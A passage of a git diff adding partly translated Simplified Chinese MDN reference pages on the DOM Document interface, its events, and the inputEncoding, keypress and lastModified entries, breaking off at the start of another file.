<dt>{{DOMxRef("Document.requestStorageAccess()")}}</dt> + <dd>Returns a {{jsxref("Promise")}} that resolves if the access to first-party storage was granted, and rejects if access was denied.</dd> + <dt>{{DOMxRef("Document.routeEvent()")}} {{Non-standard_Inline}} {{Obsolete_Inline(24)}}</dt> + <dd>See {{DOMxRef("Window.routeEvent()")}}.</dd> + <dt>{{DOMxRef("Document.mozSetImageElement()")}} {{Non-standard_Inline}}</dt> + <dd>Allows you to change the element being used as the background image for a specified element ID.</dd> +</dl> + +<p>The <code>Document</code> interface is extended with the {{DOMxRef("ParentNode")}} interface:</p> + +<dl> + <dt>{{DOMxRef("document.getElementById","document.getElementById(String id)")}}</dt> + <dd>Returns an object reference to the identified element.</dd> + <dt>{{DOMxRef("document.querySelector()")}}</dt> + <dd>返回 first Element node within the document, in document order, that matches the specified selectors.</dd> + <dt>{{DOMxRef("document.querySelectorAll()")}}</dt> + <dd>Returns a list of all the Element nodes within the document that match the specified selectors.</dd> +</dl> + +<p>The <code>Document</code> interface is extended with the {{DOMxRef("XPathEvaluator")}} interface:</p> + +<dl> + <dt>{{DOMxRef("document.createExpression()")}}</dt> + <dd>Compiles an <code><a href="/en-US/docs/XPathExpression" title="XPathExpression">XPathExpression</a></code> which can then be used for (repeated) evaluations.</dd> + <dt>{{DOMxRef("document.createNSResolver()")}}</dt> + <dd>创建一个 {{DOMxRef("XPathNSResolver")}} 对象。</dd> + <dt>{{DOMxRef("document.evaluate()")}}</dt> + <dd>Evaluates an XPath expression.</dd> +</dl> + +<h3 id="Extension_for_HTML_documents">Extension for HTML documents</h3> + +<p>The <code>Document</code> interface for HTML documents inherit from the {{DOMxRef("HTMLDocument")}} interface or, since HTML5, is extended for such documents:</p> + +<dl> + <dt>{{DOMxRef("document.clear()")}} {{Non-standard_Inline}} {{Deprecated_Inline}}</dt> + <dd>In majority of modern browsers, including recent versions of Firefox and Internet Explorer, this method does nothing.</dd> + <dt>{{DOMxRef("document.close()")}}</dt> + <dd>Closes a document stream for writing.</dd> + <dt>{{DOMxRef("document.execCommand()")}}</dt> + <dd>On an editable document, executes a formating command.</dd> + <dt>{{DOMxRef("document.getElementsByName()")}}</dt> + <dd>Returns a list of elements with the given name.</dd> + <dt>{{DOMxRef("document.hasFocus()")}}</dt> + <dd>Returns <code>true</code> if the focus is currently located anywhere inside the specified document.</dd> + <dt>{{DOMxRef("document.open()")}}</dt> + <dd>Opens a document stream for writing.</dd> + <dt>{{DOMxRef("document.queryCommandEnabled()")}}</dt> + <dd>Returns true if the formating command can be executed on the current range.</dd> + <dt>{{DOMxRef("document.queryCommandIndeterm()")}}</dt> + <dd>Returns true if the formating command is in an indeterminate state on the current range.</dd> + <dt>{{DOMxRef("document.queryCommandState()")}}</dt> + <dd>Returns true if the formating command has been executed on the current range.</dd> + <dt>{{DOMxRef("document.queryCommandSupported()")}}</dt> + <dd>Returns true if the formating command is supported on the current range.</dd> + <dt>{{DOMxRef("document.queryCommandValue()")}}</dt> + <dd>返回 current value of the current range for a formating command.</dd> + <dt>{{DOMxRef("document.write()")}}</dt> + <dd>Writes text in a document.</dd> + <dt>{{DOMxRef("document.writeln()")}}</dt> + <dd>Writes a line of text in a document.</dd> +</dl> + +<h3 id="Methods_included_from_DocumentOrShadowRoot">Methods included from DocumentOrShadowRoot</h3> + +<p><em>The <code>Document</code> interface includes the following methods defined on the {{DOMxRef("DocumentOrShadowRoot")}} mixin. Note that this is currently only implemented by Chrome; other browsers still implement them on the {{DOMxRef("Document")}} interface.</em></p> + +<dl> + <dt>{{DOMxRef("DocumentOrShadowRoot.getSelection()")}}</dt> + <dd>Returns a {{DOMxRef('Selection')}} object representing the range of text selected by the user, or the current position of the caret.</dd> + <dt>{{DOMxRef("DocumentOrShadowRoot.elementFromPoint()")}}</dt> + <dd>返回 topmost element at the specified coordinates.</dd> + <dt>{{DOMxRef("DocumentOrShadowRoot.elementsFromPoint()")}}</dt> + <dd>Returns an array of all elements at the specified coordinates.</dd> + <dt>{{DOMxRef("DocumentOrShadowRoot.caretPositionFromPoint()")}}</dt> + <dd>Returns a {{DOMxRef('CaretPosition')}} object containing the DOM node containing the caret, and caret's character offset within that node.</dd> +</dl> + +<h2 id="Events">Events</h2> + +<p>Listen to these events using <code>addEventListener()</code> or by assigning an event listener to the <code>on<em>eventname</em></code> property of this interface.</p> + +<dl> + <dt>{{DOMxRef("Document/scroll_event", "scroll")}}</dt> + <dd>Fired when the document view or an element has been scrolled.<br> + Also available via the {{DOMxRef("GlobalEventHandlers.onscroll", "onscroll")}} 属性。</dd> + <dt>{{DOMxRef("Document/visibilitychange_event", "visibilitychange")}}</dt> + <dd>Fired when the content of a tab has become visible or has been hidden.<br> + Also available via the {{DOMxRef("Document.onvisibilitychange", "onvisibilitychange")}} 属性。</dd> + <dt>{{DOMxRef("Document/wheel_event","wheel")}}</dt> + <dd>Fired when the user rotates a wheel button on a pointing device (typically a mouse).<br> + Also available via the {{DOMxRef("GlobalEventHandlers.onwheel", "onwheel")}} 属性。</dd> +</dl> + +<h3 id="Animation_events">Animation events</h3> + +<dl> + <dt>{{domxref("Document/animationcancel_event", "animationcancel")}}</dt> + <dd>Fired when an animation unexpectedly aborts.<br> + Also available via the {{domxref("GlobalEventHandlers/onanimationcancel", "onanimationcancel")}} 属性。</dd> + <dt>{{domxref("Document/animationend_event", "animationend")}}</dt> + <dd>Fired when an animation has completed normally.<br> + Also available via the {{domxref("GlobalEventHandlers/onanimationend", "onanimationend")}} 属性。</dd> + <dt>{{domxref("Document/animationiteration_event", "animationiteration")}}</dt> + <dd>Fired when an animation iteration has completed.<br> + Also available via the {{domxref("GlobalEventHandlers/onanimationiteration", "onanimationiteration")}} 属性。</dd> + <dt>{{domxref("Document/animationstart_event", "animationstart")}}</dt> + <dd>Fired when an animation starts.<br> + Also available via the {{domxref("GlobalEventHandlers/onanimationstart", "onanimationstart")}} 属性。</dd> +</dl> + +<h3 id="Clipboard_events">Clipboard events</h3> + +<dl> + <dt>{{domxref("Document/copy_event", "copy")}}</dt> + <dd>Fired when the user initiates a copy action through the browser's user interface.<br> + Also available via the {{domxref("HTMLElement/oncopy", "oncopy")}} 属性。</dd> + <dt>{{domxref("Document/cut_event", "cut")}}</dt> + <dd>Fired when the user initiates a cut action through the browser's user interface.<br> + Also available via the {{domxref("HTMLElement/oncut", "oncut")}} 属性。</dd> + <dt>{{domxref("Document/paste_event", "paste")}}</dt> + <dd>Fired when the user initiates a paste action through the browser's user interface.<br> + Also available via the {{domxref("HTMLElement/onpaste", "onpaste")}} 属性。</dd> +</dl> + +<h3 id="Drag_drop_events">Drag & drop events</h3> + +<dl> + <dt>{{domxref("Document/drag_event", "drag")}}</dt> + <dd>Fired every few hundred milliseconds as an element or text selection is being dragged by the user.<br> + Also available via the {{domxref("GlobalEventHandlers/ondrag", "ondrag")}} 属性。</dd> + <dt>{{domxref("Document/dragend_event", "dragend")}}</dt> + <dd>Fired when a drag operation is being ended (by releasing a mouse button or hitting the escape key).<br> + Also available via the {{domxref("GlobalEventHandlers/ondragend", "ondragend")}} 属性。</dd> + <dt>{{domxref("Document/dragenter_event", "dragenter")}}</dt> + <dd>Fired when a dragged element or text selection enters a valid drop target.<br> + Also available via the {{domxref("GlobalEventHandlers/ondragenter", "ondragenter")}} 属性。</dd> + <dt>{{domxref("Document/dragexit_event", "dragexit")}}</dt> + <dd>Fired when an element is no longer the drag operation's immediate selection target.<br> + Also available via the {{domxref("GlobalEventHandlers/ondragexit", "ondragexit")}} 属性。</dd> + <dt>{{domxref("Document/dragleave_event", "dragleave")}}</dt> + <dd>Fired when a dragged element or text selection leaves a valid drop target.<br> + Also available via the {{domxref("GlobalEventHandlers/ondragleave", "ondragleave")}} 属性。</dd> + <dt>{{domxref("Document/dragover_event", "dragover")}}</dt> + <dd>Fired when an element or text selection is being dragged over a valid drop target (every few hundred milliseconds).<br> + Also available via the {{domxref("GlobalEventHandlers/ondragover", "ondragover")}} 属性。</dd> + <dt>{{domxref("Document/dragstart_event", "dragstart")}}</dt> + <dd>Fired when the user starts dragging an element or text selection.<br> + Also available via the {{domxref("GlobalEventHandlers/ondragstart", "ondragstart")}} 属性。</dd> + <dt>{{domxref("Document/drop_event", "drop")}}</dt> + <dd>Fired when an element or text selection is dropped on a valid drop target.<br> + Also available via the {{domxref("GlobalEventHandlers/ondrop", "ondrop")}} 属性。</dd> +</dl> + +<h3 id="Fullscreen_events">Fullscreen events</h3> + +<dl> + <dt>{{domxref("Document/fullscreenchange_event", "fullscreenchange")}}</dt> + <dd>Fired when the <code>Document</code> transitions into or out of <a href="/en-US/docs/Web/API/Fullscreen_API/Guide">full-screen</a> mode.<br> + Also available via the <code> {{DOMxRef("Document.onfullscreenchange", "onfullscreenchange")}}</code> 属性。</dd> + <dt><code><a href="/en-US/docs/Web/Events/fullscreenerror">fullscreenerror</a></code></dt> + <dd>Fired if an error occurs while attempting to switch into or out of <a href="/en-US/docs/Web/API/Fullscreen_API/Guide">full-screen</a> mode.<br> + Also available via the {{DOMxRef("Document.onfullscreenerror", "onfullscreenerror")}} 属性。</dd> + <dt> + <h3 id="Keyboard_events">Keyboard events</h3> + </dt> + <dt><code>{{DOMxRef("Document/keydown_event", "keydown")}}</code></dt> + <dd>Fired when a key is pressed.<br> + Also available via the {{DOMxRef("GlobalEventHandlers/onkeydown", "onkeydown")}} 属性。</dd> + <dt><code>{{DOMxRef("Document/keypress_event", "keypress")}}</code></dt> + <dd>Fired when a key that produces a character value is pressed down. {{Deprecated_Inline}}<br> + Also available via the {{DOMxRef("GlobalEventHandlers/onkeypress", "onkeypress")}} 属性。</dd> + <dt><code>{{DOMxRef("Document/keyup_event", "keyup")}}</code></dt> + <dd>Fired when a key is released.<br> + Also available via the {{DOMxRef("GlobalEventHandlers/onkeyup", "onkeyup")}} 属性。</dd> +</dl> + +<h3 id="Load_unload_events">Load & unload events</h3> + +<dl> + <dt>{{domxref("Document/DOMContentLoaded_event", "DOMContentLoaded")}}</dt> + <dd>Fired when the document has been completely loaded and parsed, without waiting for stylesheets, images, and subframes to finish loading.</dd> + <dt>{{domxref("Document/readystatechange_event", "readystatechange")}}</dt> + <dd>Fired when the {{domxref("Document/readyState", "readyState")}} attribute of a document has changed.<br> + Also available via the <code>onreadystatechange</code> 属性。</dd> +</dl> + +<h3 id="Pointer_events">Pointer events</h3> + +<dl> + <dt>{{domxref("Document/gotpointercapture_event", "gotpointercapture")}}</dt> + <dd>Fired when when an element captures a pointer using <code><a href="/en-US/docs/Web/API/Element/setPointerCapture">setPointerCapture()</a></code>.<br> + Also available via the {{domxref("GlobalEventHandlers/ongotpointercapture", "ongotpointercapture")}} 属性。</dd> + <dt>{{domxref("Document/lostpointercapture_event", "lostpointercapture")}}</dt> + <dd>Fired when a <a href="/en-US/docs/Web/API/Pointer_events#Pointer_capture">captured pointer</a> is released.<br> + Also available via the {{domxref("GlobalEventHandlers/onlostpointercapture", "onlostpointercapture")}} 属性。</dd> + <dt>{{domxref("Document/pointercancel_event", "pointercancel")}}</dt> + <dd>Fired when a pointer event is canceled.<br> + Also available via the {{domxref("GlobalEventHandlers/onpointercancel", "onpointercancel")}} 属性。</dd> + <dt>{{domxref("Document/pointerdown_event", "pointerdown")}}</dt> + <dd>Fired when a pointer becomes active.<br> + Also available via the {{domxref("GlobalEventHandlers/onpointerdown", "onpointerdown")}} 属性。</dd> + <dt>{{domxref("Document/pointerenter_event", "pointerenter")}}</dt> + <dd>Fired when a pointer is moved into the hit test boundaries of an element or one of its descendants.<br> + Also available via the {{domxref("GlobalEventHandlers/onpointerenter", "onpointerenter")}} 属性。</dd> + <dt>{{domxref("Document/pointerleave_event", "pointerleave")}}</dt> + <dd>Fired when a pointer is moved out of the hit test boundaries of an element.<br> + Also available via the {{domxref("GlobalEventHandlers/onpointerleave", "onpointerleave")}} 属性。</dd> + <dt>{{domxref("Document/pointerlockchange_event", "pointerlockchange")}}</dt> + <dd>Fired when the pointer is locked/unlocked.<br> + Also available via the {{domxref("GlobalEventHandlers/onpointerlockchange", "onpointerlockchange")}} 属性。</dd> + <dt>{{domxref("Document/pointerlockerror_event", "pointerlockerror")}}</dt> + <dd>Fired when locking the pointer failed.<br> + Also available via the {{domxref("GlobalEventHandlers/onpointerlockerror", "onpointerlockerror")}} 属性。</dd> + <dt>{{domxref("Document/pointermove_event", "pointermove")}}</dt> + <dd>Fired when a pointer changes coordinates.<br> + Also available via the {{domxref("GlobalEventHandlers/onpointermove", "onpointermove")}} 属性。</dd> + <dt>{{domxref("Document/pointerout_event", "pointerout")}}</dt> + <dd>Fired when a pointer is moved out of the <em>hit test</em> boundaries of an element (among other reasons).<br> + Also available via the {{domxref("GlobalEventHandlers/onpointerout", "onpointerout")}} 属性。</dd> + <dt>{{domxref("Document/pointerover_event", "pointerover")}}</dt> + <dd>Fired when a pointer is moved into an element's hit test boundaries.<br> + Also available via the {{domxref("GlobalEventHandlers/onpointerover", "onpointerover")}} 属性。</dd> + <dt>{{domxref("Document/pointerup_event", "pointerup")}}</dt> + <dd>Fired when a pointer is no longer active.<br> + Also available via the {{domxref("GlobalEventHandlers/onpointerup", "onpointerup")}} 属性。</dd> +</dl> + +<h3 id="Selection_events">Selection events</h3> + +<dl> + <dt><code>{{DOMxRef("Document/selectionchange_event", "selectionchange")}}</code></dt> + <dd>Fired when the current text selection on a document is changed.<br> + Also available via the {{DOMxRef("GlobalEventHandlers/onselectionchange", "onselectionchange")}} 属性。</dd> + <dt>{{DOMxRef("Document/selectstart_event", "selectstart")}}</dt> + <dd>Fired when the user begins a new selection.<br> + Also available via the {{DOMxRef("GlobalEventHandlers/onselectstart", "onselectstart")}} 属性。</dd> +</dl> + +<h3 id="Touch_events">Touch events</h3> + +<dl> + <dt>{{domxref("Document/touchcancel_event", "touchcancel")}}</dt> + <dd>Fired when one or more touch points have been disrupted in an implementation-specific manner (for example, too many touch points are created).<br> + Also available via the {{domxref("GlobalEventHandlers/ontouchcancel", "ontouchcancel")}} 属性。</dd> + <dt>{{domxref("Document/touchend_event", "touchend")}}</dt> + <dd>Fired when one or more touch points are removed from the touch surface.<br> + Also available via the {{domxref("GlobalEventHandlers/ontouchend", "ontouchend")}} property</dd> + <dt>{{domxref("Document/touchmove_event", "touchmove")}}</dt> + <dd>Fired when one or more touch points are moved along the touch surface.<br> + Also available via the {{domxref("GlobalEventHandlers/ontouchmove", "ontouchmove")}} property</dd> + <dt>{{domxref("Document/touchstart_event", "touchstart")}}</dt> + <dd>Fired when one or more touch points are placed on the touch surface.<br> + Also available via the {{domxref("GlobalEventHandlers/ontouchstart", "ontouchstart")}} property</dd> + <dt> + <h3 id="Transition_events">Transition events</h3> + </dt> + <dt>{{domxref("Document/transitioncancel_event", "transitioncancel")}}</dt> + <dd>Fired when a <a href="/en-US/docs/CSS/Using_CSS_transitions">CSS transition</a> is canceled.<br> + Also available via the {{domxref("GlobalEventHandlers/ontransitioncancel", "ontransitioncancel")}} 属性。</dd> + <dt>{{domxref("Document/transitionend_event", "transitionend")}}</dt> + <dd>Fired when a <a href="/en-US/docs/CSS/Using_CSS_transitions">CSS transition</a> has completed.<br> + Also available via the {{domxref("GlobalEventHandlers/ontransitionend", "ontransitionend")}} 属性。</dd> + <dt>{{domxref("Document/transitionrun_event", "transitionrun")}}</dt> + <dd>Fired when a <a href="/en-US/docs/CSS/Using_CSS_transitions">CSS transition</a> is first created.<br> + Also available via the {{domxref("GlobalEventHandlers/ontransitionrun", "ontransitionrun")}} 属性。</dd> + <dt>{{domxref("Document/transitionstart_event", "transitionstart")}}</dt> + <dd>Fired when a <a href="/en-US/docs/CSS/Using_CSS_transitions">CSS transition</a> has actually started.<br> + Also available via the {{domxref("GlobalEventHandlers/ontransitionstart", "ontransitionstart")}} 属性。</dd> +</dl> + +<h2 id="Non-standard_extensions_Non-standard_Inline">Non-standard extensions {{Non-standard_Inline}}</h2> + +<div>{{non-standard_header}}</div> + +<h3 id="Firefox_notes">Firefox notes</h3> + +<p>Mozilla defines a set of non-standard properties made only for XUL content:</p> + +<dl> + <dt>{{DOMxRef("document.currentScript")}} {{Non-standard_Inline}}</dt> + <dd>返回 {{HTMLElement("script")}} element that is currently executing.</dd> + <dt>{{DOMxRef("document.documentURIObject")}}</dt> + <dd>(<strong>Mozilla add-ons only!</strong>) 返回 {{Interface("nsIURI")}} object representing the URI of the document. This property only has special meaning in privileged JavaScript code (with UniversalXPConnect privileges).</dd> + <dt>{{DOMxRef("document.popupNode")}}</dt> + <dd>返回 node upon which a popup was invoked.</dd> + <dt>{{DOMxRef("document.tooltipNode")}}</dt> + <dd>返回 node which is the target of the current tooltip.</dd> +</dl> + +<p>Mozilla also define some non-standard methods:</p> + +<dl> + <dt>{{DOMxRef("document.execCommandShowHelp")}} {{Obsolete_Inline("14.0")}}</dt> + <dd>This method never did anything and always threw an exception, so it was removed in Gecko 14.0 {{geckoRelease("14.0")}}.</dd> + <dt>{{DOMxRef("document.getBoxObjectFor")}} {{Obsolete_Inline}}</dt> + <dd>Use the {{DOMxRef("Element.getBoundingClientRect()")}} method instead.</dd> + <dt>{{DOMxRef("document.loadOverlay")}}</dt> + <dd>Loads a <a href="/en-US/docs/XUL_Overlays" title="XUL_Overlays">XUL overlay</a> dynamically. This only works in XUL documents.</dd> + <dt>{{DOMxRef("document.queryCommandText")}} {{Obsolete_Inline("14.0")}}</dt> + <dd>This method never did anything but throw an exception, and was removed in Gecko 14.0 {{geckoRelease("14.0")}}.</dd> +</dl> + +<h3 id="Internet_Explorer_notes">Internet Explorer notes</h3> + +<p>Microsoft defines some non-standard properties:</p> + +<dl> + <dt>{{DOMxRef("document.fileSize")}}* {{Non-standard_Inline}} {{Obsolete_Inline}}</dt> + <dd>Returns size in bytes of the document. Starting with Internet Explorer 11, that property is no longer supported. See <a href="http://msdn.microsoft.com/en-us/library/ms533752%28v=VS.85%29.aspx">MSDN</a>.</dd> +</dl> + +<p>Internet Explorer does not support all methods from the <code>Node</code> interface in the <code>Document</code> interface:</p> + +<dl> + <dt>{{DOMxRef("document.contains")}}</dt> + <dd>As a work-around, <code>document.body.contains()</code> can be used.</dd> +</dl> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">规范</th> + <th scope="col">状态</th> + <th scope="col">备注</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("DOM WHATWG", "#interface-document", "Document")}}</td> + <td>{{Spec2("DOM WHATWG")}}</td> + <td>Intend to supersede DOM 3</td> + </tr> + <tr> + <td>{{SpecName("HTML WHATWG", "dom.html#the-document-object", "Document")}}</td> + <td>{{Spec2("HTML WHATWG")}}</td> + <td>Turn the {{DOMxRef("HTMLDocument")}} interface into a <code>Document</code> extension.</td> + </tr> + <tr> + <td>{{SpecName("HTML Editing", "#dom-document-getselection", "Document")}}</td> + <td>{{Spec2("HTML Editing")}}</td> + <td>Extend the <code>Document</code> interface</td> + </tr> + <tr> + <td>{{SpecName("CSSOM View", "#extensions-to-the-document-interface", "Document")}}</td> + <td>{{Spec2("CSSOM View")}}</td> + <td>Extend the <code>Document</code> interface</td> + </tr> + <tr> + <td>{{SpecName("CSSOM", "#extensions-to-the-document-interface", "Document")}}</td> + <td>{{Spec2("CSSOM")}}</td> + <td>Extend the <code>Document</code> interface</td> + </tr> + <tr> + <td>{{SpecName("Pointer Lock", "#extensions-to-the-document-interface", "Document")}}</td> + <td>{{Spec2("Pointer Lock")}}</td> + <td>Extend the <code>Document</code> interface</td> + </tr> + <tr> + <td>{{SpecName("Page Visibility API", "#extensions-to-the-document-interface", "Document")}}</td> + <td>{{Spec2("Page Visibility API")}}</td> + <td>Extend the <code>Document</code> interface with the <code>visibilityState</code> and <code>hidden</code> attributes and the <code>onvisibilitychange</code> event listener.</td> + </tr> + <tr> + <td>{{SpecName("Selection API", "#extensions-to-document-interface", "Document")}}</td> + <td>{{Spec2("Selection API")}}</td> + <td>Adds <code>getSelection()</code>, <code>onselectstart</code> and <code>onselectionchange</code>.</td> + </tr> + <tr> + <td>{{SpecName("DOM4", "#interface-document", "Document")}}</td> + <td>{{Spec2("DOM4")}}</td> + <td>Supersede DOM 3</td> + </tr> + <tr> + <td>{{SpecName("DOM3 Core", "#i-Document", "Document")}}</td> + <td>{{Spec2("DOM3 Core")}}</td> + <td>Supersede DOM 2</td> + </tr> + <tr> + <td>{{SpecName("DOM3 XPath", "xpath.html#XPathEvaluator", "XPathEvaluator")}}</td> + <td>{{Spec2("DOM3 XPath")}}</td> + <td>Define the {{DOMxRef("XPathEvaluator")}} interface which extend document.</td> + </tr> + <tr> + <td>{{SpecName("DOM2 Core", "#i-Document", "Document")}}</td> + <td>{{Spec2("DOM2 Core")}}</td> + <td>Supersede DOM 1</td> + </tr> + <tr> + <td>{{SpecName("DOM1", "#i-Document", "Document")}}</td> + <td>{{Spec2("DOM1")}}</td> + <td>Initial definition for the interface</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + + + +<p>{{Compat("api.Document")}}</p> diff --git a/files/zh-cn/web/api/document/inputencoding/index.html b/files/zh-cn/web/api/document/inputencoding/index.html new file mode 100644 index 0000000000..ddffb1437f --- /dev/null +++ b/files/zh-cn/web/api/document/inputencoding/index.html @@ -0,0 +1,20 @@ +--- +title: document.inputEncoding +slug: Web/API/Document/inputEncoding +translation_of: Web/API/Document/characterSet +--- +<p>{{ ApiRef() }} {{ deprecated_header() }}</p> +<h3 id="概述">概述</h3> +<p>返回一个字符串,代表当前文档渲染时所使用的编码.(比如<code>utf-8</code>).</p> +<div class="warning"> + <strong>警告:</strong> 不要再使用该属性.该属性在DOM 4 规范(草案)中已经被废弃. Gecko 在未来的版本中将会删除它.</div> +<h3 id="语法">语法</h3> +<pre class="eval"><var>encoding</var> = <code>document.inputEncoding;</code> +</pre> +<p><code>inputEncoding</code> 是个只读属性.</p> +<h3 id="规范">规范</h3> +<ul> + <li><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#Document3-inputEncoding">DOM Level 3 Core</a></li> + <li>This has been removed from {{ spec("http://www.w3.org/TR/domcore/","DOM Core Level 4","WD") }}</li> +</ul> +<p>{{ languages( {"en": "en/DOM/document.inputEncoding" } ) }}</p> diff --git a/files/zh-cn/web/api/document/keypress_event/index.html b/files/zh-cn/web/api/document/keypress_event/index.html new file mode 100644 index 0000000000..297a595b2b --- /dev/null +++ b/files/zh-cn/web/api/document/keypress_event/index.html @@ -0,0 +1,149 @@ +--- +title: keypress +slug: Web/API/Document/keypress_event +translation_of: Web/API/Document/keypress_event +--- +<p>The <code>keypress</code> event is fired when a key is pressed down and that key normally produces a character value (use <a href="/en-US/Mozilla_event_reference/input"><code>input</code></a> instead).</p> + +<h2 id="General_info">General info</h2> + +<dl> + <dt style="float: left; text-align: right; width: 120px;">Specification</dt> + <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-keypress">DOM L3</a> {{deprecated_inline()}}</dd> + <dt style="float: left; text-align: right; width: 120px;">Interface</dt> + <dd style="margin: 0 0 0 120px;"><a href="/en-US/docs/DOM/KeyboardEvent" title="http://en-US/docs/DOM/KeyboardEvent">KeyboardEvent</a></dd> + <dt style="float: left; text-align: right; width: 120px;">Bubbles</dt> + <dd style="margin: 0 0 0 120px;">Yes</dd> + <dt style="float: left; text-align: right; width: 120px;">Cancelable</dt> + <dd style="margin: 0 0 0 120px;">Yes</dd> + <dt style="float: left; text-align: right; width: 120px;">Target</dt> + <dd style="margin: 0 0 0 120px;">Document, Element</dd> + <dt style="float: left; text-align: right; width: 120px;">Default Action</dt> + <dd style="margin: 0 0 0 120px;">Varies: <code>keypress</code> event; launch text composition system; <code>blur</code> and <code>focus</code> events; <code>DOMActivate</code> event; other event</dd> +</dl> + +<h2 id="Properties">Properties</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Property</th> + <th scope="col">Type</th> + <th scope="col">Description</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>target</code> {{readonlyInline}}</td> + <td>EventTarget</td> + <td>The event target (the topmost target in the DOM tree).</td> + </tr> + <tr> + <td><code>type</code> {{readonlyInline}}</td> + <td>DOMString</td> + <td>The type of event.</td> + </tr> + <tr> + <td><code>bubbles</code> {{readonlyInline}}</td> + <td>Boolean</td> + <td>Whether the event normally bubbles or not</td> + </tr> + <tr> + <td><code>cancelable</code> {{readonlyInline}}</td> + <td>Boolean</td> + <td>Whether the event is cancellable or not?</td> + </tr> + <tr> + <td><code>view</code> {{readonlyInline}}</td> + <td>WindowProxy</td> + <td><a href="/en-US/docs/Web/API/Document/defaultView" title="In browsers, document.defaultView returns the window object associated with a document, or null if none is available."><code>document.defaultView</code></a> (<code>window</code> of the document)</td> + </tr> + <tr> + <td><code>detail</code> {{readonlyInline}}</td> + <td><code>long</code> (<code>float</code>)</td> + <td>0.</td> + </tr> + <tr> + <td><code>target</code> {{readonlyInline}}</td> + <td>EventTarget (DOM element)</td> + <td>Focused element processing the key event, root element if no suitable input element focused.</td> + </tr> + <tr> + <td><code>char</code> {{readonlyInline}}</td> + <td>DOMString (string)</td> + <td>The character value of the key. If the key corresponds to a printable character, this value is a non-empty Unicode string containing that character. If the key doesn't have a printable representation, this is an empty string. See <a href="/en-US/docs/Web/API/KeyboardEvent#Key_names_and_Char_values">key names and char values</a> for the detail. + <div class="note"><strong>Note:</strong> If the key is used as a macro that inserts multiple characters, this attribute's value is the entire string, not just the first character.</div> + </td> + </tr> + <tr> + <td><code>key</code> {{readonlyInline}}</td> + <td>DOMString (string)</td> + <td>The key value of the key represented by the event. If the value has a printed representation, this attribute's value is the same as the <code>char</code> attribute. Otherwise, it's one of the key value strings specified in {{ anch("Key values") }}. If the key can't be identified, this is the string "Unidentified". See <a href="/en-US/docs/Web/API/KeyboardEvent#Key_names_and_Char_values">key names and char values</a> for the detail. Read Only.</td> + </tr> + <tr> + <td><code>charCode</code> {{readonlyInline}}</td> + <td>Unsigned long (int)</td> + <td>The Unicode reference number of the key; this attribute is used only by the <a href="/en-US/docs/Mozilla_event_reference/keypress"><code>keypress</code></a> event. For keys whose <code>char</code> attribute contains multiple characters, this is the Unicode value of the first character in that attribute. + <div class="warning"><strong>Warning:</strong> This attribute is deprecated; you should use <code>char</code> instead, if available.</div> + </td> + </tr> + <tr> + <td><code>keyCode</code> {{readonlyInline}}</td> + <td>Unsigned long (int)</td> + <td>A system and implementation dependent numerical code identifying the unmodified value of the pressed key. This is usually the decimal ASCII ({{ RFC(20) }}) or Windows 1252 code corresponding to the key; see {{ anch("Virtual key codes") }} for a list of common values. If the key can't be identified, this value is 0. + <div class="warning"><strong>Warning:</strong> This attribute is deprecated; you should use <code>key</code> instead, if available.</div> + </td> + </tr> + <tr> + <td><code>which</code> {{readonlyInline}}</td> + <td>Unsigned long (int)</td> + <td>A system and implementation dependent numeric code identifying the unmodified value of the pressed key; this is usually the same as <code>keyCode</code>. + <div class="warning"><strong>Warning:</strong> This attribute is deprecated; you should use <code>key</code> instead, if available.</div> + </td> + </tr> + <tr> + <td><code>location</code> {{readonlyInline}}</td> + <td>long (float)</td> + <td>The location of the key on the device.</td> + </tr> + <tr> + <td><code>repeat</code> {{readonlyInline}}</td> + <td>boolean</td> + <td><code>true</code> if a key has been depressed long enough to trigger key repetition, otherwise <code>false</code>.</td> + </tr> + <tr> + <td><code>locale</code> {{readonlyInline}}</td> + <td>string</td> + <td>The language code for the key event, if available; otherwise, the empty string.</td> + </tr> + <tr> + <td><code>ctrlKey</code> {{readonlyInline}}</td> + <td>boolean</td> + <td><code>true</code> if the control key was down when the event was fired. <code>false</code> otherwise.</td> + </tr> + <tr> + <td><code>shiftKey</code> {{readonlyInline}}</td> + <td>boolean</td> + <td><code>true</code> if the shift key was down when the event was fired. <code>false</code> otherwise.</td> + </tr> + <tr> + <td><code>altKey</code> {{readonlyInline}}</td> + <td>boolean</td> + <td><code>true</code> if the alt key was down when the event was fired. <code>false</code> otherwise.</td> + </tr> + <tr> + <td><code>metaKey</code> {{readonlyInline}}</td> + <td>boolean</td> + <td><code>true</code> if the meta key was down when the event was fired. <code>false</code> otherwise.</td> + </tr> + </tbody> +</table> + +<h2 id="Related_Events">Related Events</h2> + +<ul> + <li>{{event("keydown")}}</li> + <li>{{event("keyup")}}</li> + <li>{{event("keypress")}}</li> + <li>{{event("input")}}</li> +</ul> diff --git a/files/zh-cn/web/api/document/lastmodified/index.html b/files/zh-cn/web/api/document/lastmodified/index.html new file mode 100644 index 0000000000..2a3ff81130 --- /dev/null +++ b/files/zh-cn/web/api/document/lastmodified/index.html @@ -0,0 +1,31 @@ +--- +title: document.lastModified +slug: Web/API/Document/lastModified +translation_of: Web/API/Document/lastModified +--- +<p>{{ ApiRef() }}</p> + +<h3 id="Summary" name="Summary">概述</h3> + +<p>返回一个字符串,其中包含了当前文档的最后修改日期和时间.</p> + +<h3 id="Syntax" name="Syntax">语法</h3> + +<pre class="eval"><em>var string</em> = document.lastModified; +</pre> + +<h3 id="Example" name="Example">例子</h3> + +<pre class="eval">dump(document.lastModified); +// 返回: Tuesday, July 10, 2001 10:19:42 +</pre> + +<h3 id="Notes" name="Notes">备注</h3> + +<p>需要注意的是,作为一个字符串,<code>lastModified</code> 不能很容易的被用于与该文档的修改日期做比较.</p> + +<p>Webkit返回的时间为UTC时间;Gecko和IE返回的时间为本地时区时间.</p> + +<p id="Specification">{{Compat("api.Document.lastModified")}}</p> + +<p> </p> diff --git a/files/zh-cn/web/api/document/laststylesheetset/index.html b/files/zh-cn/web/api/document/laststylesheetset/index.html new file mode 100644 index 0000000000..e1b83bb840 --- /dev/null +++ 